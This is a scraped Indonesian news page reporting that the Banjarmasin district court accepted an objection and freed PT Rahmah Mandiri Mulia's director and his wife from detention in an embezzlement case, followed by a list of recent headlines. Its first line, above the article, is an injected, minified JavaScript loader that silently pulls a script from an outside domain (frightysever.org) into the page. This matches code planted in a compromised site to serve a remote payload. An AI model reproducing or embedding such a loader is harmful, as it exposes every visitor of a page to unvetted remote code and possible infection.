(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Kabulkan Eksepsi, PN Banjarmasin Bebaskan Dirut PT RMM


KANALKALIMANTAN.COM, MARTAPURA – Pengadilan Negeri (PN) Banjarmasin membebaskan Dirut PT Rahmah Mandiri Mulia (RMM), Suhardi bersama istrinya, yang sempat ditahan di Dit Krimsus Polda Kalsel sejak 21 Juli 2020.

Dalam putusan sela eksepsi yang disampaikan penasihat hukum terdakwa, Ketua Majelis Hakim Rosmawati SH, MH, menyebutkan dakwaan Jaksa Penuntut Umum (JPU) tidak bisa dilanjutkan. Majelis hakim yang beranggotakan Heru Kuntcoro SH, Daru Swastika Rini SH, juga mengabulkan eksepsi dan membebaskan para terdakwa dari tahanan.

Sebelumnya, Suhardi bersama istrinya dilaporkan oleh mitra kerjanya di PT RMM yang berlokasi di Kabupaten Balangan terkait penggelapan jabatan dan dugaan pencurian sebesar Rp3,37 miliar. Atas laporan tersebut, keduanya sempat ditahan Polda Kalsel dalam penyidikannya terhitung dari 21 Juli 2020 Sampai 16 September 2020 guna penyidikan lebih lanjut saat sebelum ditetapkannya tidak terbukti.

Terkait putusan tersebut, Suhardi menyatakan terima kasih dan menilai majelis hakim telah memutus perkara dengan bijak. “Kami ucapkan terimakasih kepada majelis hukum telah memutus perkara ini dengan adil,” katanya.

Di sisi lain, kauasa hukum Samsul Hidayat mengatakan, bahwa perkara perdata yang disumberkan menjadi pidana dengan keputusan ketua majelis hakim kepada kliennya, menjadikan perkara tidak bisa dilanjutkan.

“Tentunya saya bersama klien saya akan mengambil sikap dengan merapatkan ke tim kuasa hukum untuk langkah lanjutan,” katanya.

Sebab sebelumnya, Suhardi pernah melaporkan tindak pidana pencurian dan penggelapan dalam jabatan ke Polres Banjar pada tanggal 29 Maret 2020 lalu. Tapi sampai sekarang belum ada tindakan.

Terkait hal tersebut, Suhardi bersama penasihat hukumnya mendatangi Polres Banjar, Selasa (22/9/2020) guna menanyakan hal tersebut. Apalagi, Polda Kalsel juga telah mengeluarkan surat Pemberitahuan Perkembangan Hasil Pengawasan Penyidikan (SP2HP2).

Dimana didalamnya memberikan petunjuk dan arahan kepada Subdit dan Polres Banjar untuk melaksanakan penyelidikan tindak pidana, serta melaksanakan penyidikan profesional, obyektif, transparan dan akuntabel.

Namun Kasat Rreskrim Polres Banjar belum bisa dikonfirmasi terkait perkembangan kasus tersebut. (Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

12 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

12 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

13 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

13 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

13 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

14 jam ago

This website uses cookies.